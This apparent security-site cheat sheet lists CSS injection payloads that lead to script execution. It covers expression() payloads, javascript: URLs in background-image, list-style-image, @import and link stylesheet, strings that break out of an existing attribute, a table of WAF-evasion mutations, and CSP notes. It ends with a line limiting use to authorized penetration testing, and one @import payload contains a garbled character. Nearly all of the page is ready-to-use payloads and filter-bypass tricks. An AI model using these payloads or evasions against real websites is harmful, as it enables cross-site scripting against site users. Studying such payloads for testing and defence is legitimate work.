Skip to content
← Cheat Sheets

CSS Injection Cheat Sheet

CSS Injection Cheat Sheet

CSS injection becomes code execution in specific browser/parser configurations, most commonly legacy IE and situations where CSS is interpreted as HTML.

Attack surfaces

  • Unsanitized style attributes or <style> blocks
  • CSS-in-JS templates that echo user data
  • Old background-image / @import URL handling (IE)
  • Loose style-src 'unsafe-inline' CSP directives

CSS expression() — IE legacy

IE 5–8 evaluated JavaScript inside CSS expression():

<div style="width:expression(alert(document.domain))">
  <img src="x" style="xss:expression(alert(1))" />
  <xss style="xss:expression(alert(1))"></xss>
</div>

Modern browsers do not support expression(). Use these when targeting IE11 compatibility modes or old intranet apps.

javascript: in CSS URLs — IE

IE honored javascript: pseudo-protocol in CSS URL values:

<!-- background-image -->
<div style="background-image:url(javascript:alert(1))">
  <style>
    body {
      background: url("javascript:alert(1)");
    }
  </style>

  <!-- class via stylesheet -->
  <style>
    .x {
      background-image: url("javascript:alert(1)");
    }
  </style>
  <a class="x"></a>

  <!-- list-style-image -->
  <style>
    li {
      list-style-image: url("javascript:alert(1)");
    }
  </style>
  <ul>
    <li>item</li>
  </ul>
</div>

@import injection

<style>
  @import "javascript:alert(1)";
</style>

<!-- Backslash obfuscation (IE parser confusion) -->
<style>
  @im \port'\ja\vasc\ript:alert(1)�';
</style>

LINK stylesheet

<link rel="stylesheet" href="javascript:alert(1)" />

Attribute context injection

When injection lands inside a style attribute value:

" style="xss:expression(alert(1))" x=" "
style="background:url('javascript:alert(1)') x="

Close the existing attribute, inject your style=, and neutralize the trailing quote.

Mutation strategies

WAF blockTry
expression(Split with comments: exp/**/ression(
javascript:js-ctrl-chars mutation → jav&#x09;ascript:
javascript:comment-split-protocoljavas<!---->cript:
alertalert / al\x65rt / String.fromCharCode(97,...)
url(Backslash-break: url\28 javascript:alert(1)\29

CSP considerations

  • style-src 'unsafe-inline' is required for inline injection
  • External stylesheets are blocked by style-src unless the domain is allowlisted
  • javascript: in CSS is a dead vector under any modern CSP (script-src covers it)

Authorized testing only

These vectors are provided for penetration testing on systems you own or have explicit written authorization to test.